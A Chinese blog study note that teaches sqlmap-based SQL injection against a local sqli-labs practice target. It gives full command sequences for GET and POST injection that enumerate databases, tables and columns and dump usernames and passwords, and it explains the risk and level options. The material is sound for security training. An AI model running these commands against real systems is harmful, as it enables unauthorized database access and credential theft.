sqlmap自动注入

常用参数

-u:扫描目标url

--batch:自动处理提示信息

--cookie:附加cookie参数

获取当前数据库名:

--current-db:查询当前web使用的数据库名

-D:应用指定数据库

获取表名:

--tables:查询指定库下所有表名(先用-D指定库名)

-T:应用指定表

获取字段:

--columns:查询指定表下所有字段(先用-T指定名)

-C:应用指定字段名

获取数据:--dump

GET传参注入

1
2
3
4
5
6
7
8
9
10
11
12
基本的SQL注入检测,可以检测注入点以及可注入类型
python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch
查看所有数据库
python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch --dbs
查看当前使用的数据库
python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch --current-db
查看表名
python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security --tables
查看表中的字段
python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security -T users --columns
查看字段中的数据
python sqlmap.py -u "http://127.0.0.1:8900/Less-7/?id=1" --batch -D security -T users -C id,username,password --dump

POST传参注入

先用Bp抓包,然后保存抓取的内容到文件之中(我是保存在C:/Users/ASUS/Desktop/1.txt

之后直接用sqlmap

-r:指定文件路径,从指定文件中读取HTTP请求

-p :指定参数名 ,不加p参数会自动检测注入点,也可以得到结果,指定注入参数名的话执行速度更快

1
2
3
4
5
6
7
8
9
10
基本的SQL注入检测,可以检测注入点以及可注入类型
python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd
查看当前数据库
python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd --current-db
查表
python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security --tables
查字段
python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security -T users --columns
查数据
python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security -T users -C username,id,password --dump

风险和测试等级

risk(风险等级)

默认为1(范围:1~3)

risk 越高,sqlmap 会尝试更具风险性的 SQL 注入技术(如 OR-based 注入、堆叠查询等)

risk=3 可能导致数据被修改或删除,谨慎使用

level(测试等级)

默认为1(范围:1~5)

level 越高,sqlmap 会测试更多的参数(如 User-AgentRefererCookie)和更复杂的 payload

  • level=1(默认):仅测试 GETPOST 参数。
  • level=2:增加 Cookie 头测试。
  • level=3:增加 User-AgentReferer 测试。
  • level=4:测试所有 HTTP 头(如 X-Forwarded-For)。
  • level=5:测试所有可能的注入点(包括 Host 头)

猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 44 篇 Blog · 总计 109.6k 字